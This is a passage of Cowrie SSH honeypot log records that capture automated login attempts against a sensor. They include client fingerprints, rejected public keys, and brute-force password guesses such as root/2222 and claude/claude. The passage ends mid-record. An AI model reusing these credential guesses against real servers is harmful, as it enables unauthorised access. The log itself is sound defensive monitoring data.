{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:54.060506Z","src_ip":"103.15.222.183","session":"dc21ed349a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222","message":"login attempt [root/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:54.837247Z","src_ip":"103.15.222.183","session":"dc21ed349a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:56.094039Z","src_ip":"103.15.222.183","session":"dc21ed349a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":43998,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ea7f63962af","protocol":"ssh","message":"New connection: 171.244.141.86:43998 (159.203.135.109:22) [session: 2ea7f63962af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:57.328372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:57.333187Z","src_ip":"171.244.141.86","session":"2ea7f63962af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:57.576397Z","src_ip":"171.244.141.86","session":"2ea7f63962af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:58.554996Z","src_ip":"171.244.141.86","session":"2ea7f63962af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:59.799666Z","src_ip":"171.244.141.86","session":"2ea7f63962af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.158","src_port":32778,"dst_ip":"10.17.0.5","dst_port":22,"session":"c23b07bedfdb","protocol":"ssh","message":"New connection: 198.20.127.158:32778 (10.17.0.5:22) [session: c23b07bedfdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:07.931465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:07.936141Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.024193Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:83:4b:a0:7d:5d:bf:50:15:98:ed:95:7f:12:6d:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPfK1lD+E9Fkit4ovcJO7As1Lbz8qSzWoFAGbwsrTsNi","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 41:83:4b:a0:7d:5d:bf:50:15:98:ed:95:7f:12:6d:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.443076Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:83:4b:a0:7d:5d:bf:50:15:98:ed:95:7f:12:6d:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPfK1lD+E9Fkit4ovcJO7As1Lbz8qSzWoFAGbwsrTsNi","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.446419Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:a1:a6:2a:5e:66:17:8e:7a:38:a1:41:0b:3e:56:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYm82GE1oUOJpQA7t8WhHBBdKEOAqRdx0ER9MhPVEq33GOYc5zFktrYSV2Jn646zzRT+NGFjfv5rzW+ixlvZti8Td3F/POmgwMEz+xYqcnTSX3hfEYHigYTPZT+SXllHNrrPbgCW3Icz/2WSBRam08W9EFLsoadaAHvuh7w+qq35jqaVkBf5lcrs27M12axpzhiMuzX4JLtOqpIUuDeXksrwyk8Ujl+sxWKLJ+lPI1hzTTCFeQpocc2vpBNm2nNOU/+254uErNMPjn+C5E4QUTk4Xi2xJhCFuJajJnstRGa+Hi8QpY0NPckSLENnJakSd2kPiiGelpnL7ZZq+JRpMftOqqEJm8dz92yi73hgxiDuEsum3+IU6FR1VER7EH2nO2p+yOTVzRrxEoWRAPxDs5BqFKvw0wIwGskH5tSEE+eBPhEJZUFdUDSkRsfuNM3sFEi1gTfj5a0nEodj/9DrV0/O3+sXggygn1fNXRteMJdGhw0a3nSIY5ai8jdOrYzjWjEghZarthfryufu0r7zYq3dTLLgsIp53rkZAxiK0qoI9Lpk5j6KlUw5kX3Ru/KVtCDHkQRXJsN5nFgnRQCkvs+aSS16lKHiy1MaTj33T9eNvUz8ze6H77BSUpMckelU8WPvoL0bUHGDBhEsrgN8PFx8Xmedy2xqX6u5OltRtCJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:a1:a6:2a:5e:66:17:8e:7a:38:a1:41:0b:3e:56:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.535231Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:a1:a6:2a:5e:66:17:8e:7a:38:a1:41:0b:3e:56:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYm82GE1oUOJpQA7t8WhHBBdKEOAqRdx0ER9MhPVEq33GOYc5zFktrYSV2Jn646zzRT+NGFjfv5rzW+ixlvZti8Td3F/POmgwMEz+xYqcnTSX3hfEYHigYTPZT+SXllHNrrPbgCW3Icz/2WSBRam08W9EFLsoadaAHvuh7w+qq35jqaVkBf5lcrs27M12axpzhiMuzX4JLtOqpIUuDeXksrwyk8Ujl+sxWKLJ+lPI1hzTTCFeQpocc2vpBNm2nNOU/+254uErNMPjn+C5E4QUTk4Xi2xJhCFuJajJnstRGa+Hi8QpY0NPckSLENnJakSd2kPiiGelpnL7ZZq+JRpMftOqqEJm8dz92yi73hgxiDuEsum3+IU6FR1VER7EH2nO2p+yOTVzRrxEoWRAPxDs5BqFKvw0wIwGskH5tSEE+eBPhEJZUFdUDSkRsfuNM3sFEi1gTfj5a0nEodj/9DrV0/O3+sXggygn1fNXRteMJdGhw0a3nSIY5ai8jdOrYzjWjEghZarthfryufu0r7zYq3dTLLgsIp53rkZAxiK0qoI9Lpk5j6KlUw5kX3Ru/KVtCDHkQRXJsN5nFgnRQCkvs+aSS16lKHiy1MaTj33T9eNvUz8ze6H77BSUpMckelU8WPvoL0bUHGDBhEsrgN8PFx8Xmedy2xqX6u5OltRtCJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.539240Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:f2:50:d0:8e:a7:b6:eb:be:b5:a5:9b:9c:e7:a4:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4F+TCU+gFgoZPrko8Uc68uD40xp5xCi0a7Vl5NXASWZB1K0LPimDmug4Uqvl1OSUSTmb9nhalWAT+sHQxSUM1qihEWMtl1YfBroge/dgJVVc68xf0OprFFBwqOBlmdYP/F/NGLhAuHdnWNfHcgxHjs3tl0LzoTU2EwL6jusNClYP6EF+vIkGsphnPr7Jfz72eKHSEhPZKMIe8vdWF9oSPBFlwp2mLIV+CMivH2iA92oGHOFkh/MfS2ROEVOdbawXfYX/HDo/Ue/31aXFEdsSK/UHJrYAWGOFUPAikVSVoBUyKzm3H2aV6ppF1xrAcVtqyZAmm2Ku4SGZmygogcXSTRYF5mUSrhvgTseDyChmz1vV9qMKAwyiVLMGZZdSZGDAf32v+VEB9aYzR3lu/PQFKYanO7GgWfpTL3PrnXyYNbUbgz586Vc1RIfP78fM4tsQwiqVnngOj/N7qO/+kQ6+TAF6dw4s7PgYIo0P4z/Xth2bIQ2sjF+n/VC291kClb/J72JSaiUo1Fbq9VDyGCgw4b9Zn2LhtNJlzj/TtmjDB17DMsEug5f1W1flDYzh0/vE7jyVFJBZp8dTFhBWflsAObDh17rV119JhJ15tHsB4tA9j2w/SXQGRg+jeRk+EULWIrREF6Ui1CKEpIcgA+qtCsYS0ElldjLEUunpSZfSLMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:f2:50:d0:8e:a7:b6:eb:be:b5:a5:9b:9c:e7:a4:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.629459Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:f2:50:d0:8e:a7:b6:eb:be:b5:a5:9b:9c:e7:a4:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4F+TCU+gFgoZPrko8Uc68uD40xp5xCi0a7Vl5NXASWZB1K0LPimDmug4Uqvl1OSUSTmb9nhalWAT+sHQxSUM1qihEWMtl1YfBroge/dgJVVc68xf0OprFFBwqOBlmdYP/F/NGLhAuHdnWNfHcgxHjs3tl0LzoTU2EwL6jusNClYP6EF+vIkGsphnPr7Jfz72eKHSEhPZKMIe8vdWF9oSPBFlwp2mLIV+CMivH2iA92oGHOFkh/MfS2ROEVOdbawXfYX/HDo/Ue/31aXFEdsSK/UHJrYAWGOFUPAikVSVoBUyKzm3H2aV6ppF1xrAcVtqyZAmm2Ku4SGZmygogcXSTRYF5mUSrhvgTseDyChmz1vV9qMKAwyiVLMGZZdSZGDAf32v+VEB9aYzR3lu/PQFKYanO7GgWfpTL3PrnXyYNbUbgz586Vc1RIfP78fM4tsQwiqVnngOj/N7qO/+kQ6+TAF6dw4s7PgYIo0P4z/Xth2bIQ2sjF+n/VC291kClb/J72JSaiUo1Fbq9VDyGCgw4b9Zn2LhtNJlzj/TtmjDB17DMsEug5f1W1flDYzh0/vE7jyVFJBZp8dTFhBWflsAObDh17rV119JhJ15tHsB4tA9j2w/SXQGRg+jeRk+EULWIrREF6Ui1CKEpIcgA+qtCsYS0ElldjLEUunpSZfSLMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.636303Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:92:67:20:3e:b4:92:5b:3d:e8:54:8d:f7:c2:64:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2M5/qTqZDMZfkda0PRH4ruOdh8IrvY3sATIs19ufgxPaLdTsei2OD8BLpPSqw30hn3nA+aj8ge5epkXRnVp/A9huY0Yv7Qad/2pNt84cATk5vI41SuVo4Qz0m4kDvq9HuLysuuf24kzI5DTb4BmRDhif295+Wjz977ff0Z4Q0yYji/cn5qKbBJdTTI6OpokI3e8PI58uVU5KXt2okQ7o1bmXWEHZyTxPgZytug9K60gv0dJ6jX9fwL782P/tBHdx/84TlYl4jvv2b40LnT+LREdWhb2r0rMnCLUvk83jE8UKmJtnhYQDqhx4iKdqPMR03wU93iGGzIeG7zw5N9gRmkCJTnxmH1ZtwQ7swPPhk2HQcCgHQs7Fj8WHVCjFa0k87g58Xx3kUTj91FbiFY8tbaOY/IsesT64n4f0NJkIeW4fc7Fqj4/bp+sfV0QbS5kn8Gbo/z3OCQcOBp34iegyO2+0n52WogQmT9APNTaYrhq16bUt/w1s9Ga6jrmrKwHHujDKvz14hkN1bfEDvJKhXaT6K4Rb8HwOqvxzbpFQpXp3oYEZauYuwVxWhicAXPcyl0EcltB1IHcDfjQvVH27w7rci8R/9RmlodYE6OR4oCKv517SmjdikHLgTgjqQtaU3XA1cJotovsYzlt5vu2c8/es4TasGNozyOC6LUkr9FQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:92:67:20:3e:b4:92:5b:3d:e8:54:8d:f7:c2:64:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.727243Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:92:67:20:3e:b4:92:5b:3d:e8:54:8d:f7:c2:64:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2M5/qTqZDMZfkda0PRH4ruOdh8IrvY3sATIs19ufgxPaLdTsei2OD8BLpPSqw30hn3nA+aj8ge5epkXRnVp/A9huY0Yv7Qad/2pNt84cATk5vI41SuVo4Qz0m4kDvq9HuLysuuf24kzI5DTb4BmRDhif295+Wjz977ff0Z4Q0yYji/cn5qKbBJdTTI6OpokI3e8PI58uVU5KXt2okQ7o1bmXWEHZyTxPgZytug9K60gv0dJ6jX9fwL782P/tBHdx/84TlYl4jvv2b40LnT+LREdWhb2r0rMnCLUvk83jE8UKmJtnhYQDqhx4iKdqPMR03wU93iGGzIeG7zw5N9gRmkCJTnxmH1ZtwQ7swPPhk2HQcCgHQs7Fj8WHVCjFa0k87g58Xx3kUTj91FbiFY8tbaOY/IsesT64n4f0NJkIeW4fc7Fqj4/bp+sfV0QbS5kn8Gbo/z3OCQcOBp34iegyO2+0n52WogQmT9APNTaYrhq16bUt/w1s9Ga6jrmrKwHHujDKvz14hkN1bfEDvJKhXaT6K4Rb8HwOqvxzbpFQpXp3oYEZauYuwVxWhicAXPcyl0EcltB1IHcDfjQvVH27w7rci8R/9RmlodYE6OR4oCKv517SmjdikHLgTgjqQtaU3XA1cJotovsYzlt5vu2c8/es4TasGNozyOC6LUkr9FQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.731254Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:63:12:80:cd:4f:fd:37:a7:bc:f9:a7:d6:a9:e1:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB3zNyDN8e2/Frhp0kIdrFhg69JjhFbZHDaaOp1liBXv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fb:63:12:80:cd:4f:fd:37:a7:bc:f9:a7:d6:a9:e1:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.821347Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:63:12:80:cd:4f:fd:37:a7:bc:f9:a7:d6:a9:e1:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB3zNyDN8e2/Frhp0kIdrFhg69JjhFbZHDaaOp1liBXv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.826453Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:08.917654Z","src_ip":"198.20.127.158","session":"c23b07bedfdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":36096,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff99b84f2d1","protocol":"ssh","message":"New connection: 170.106.188.200:36096 (159.203.135.109:22) [session: aff99b84f2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:10.027260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:10.032068Z","src_ip":"170.106.188.200","session":"aff99b84f2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:10.099941Z","src_ip":"170.106.188.200","session":"aff99b84f2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:10.402212Z","src_ip":"170.106.188.200","session":"aff99b84f2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:11.472812Z","src_ip":"170.106.188.200","session":"aff99b84f2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":39066,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf9b5c1839a3","protocol":"ssh","message":"New connection: 43.173.125.185:39066 (159.203.135.109:22) [session: bf9b5c1839a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:22.510398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:22.514811Z","src_ip":"43.173.125.185","session":"bf9b5c1839a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 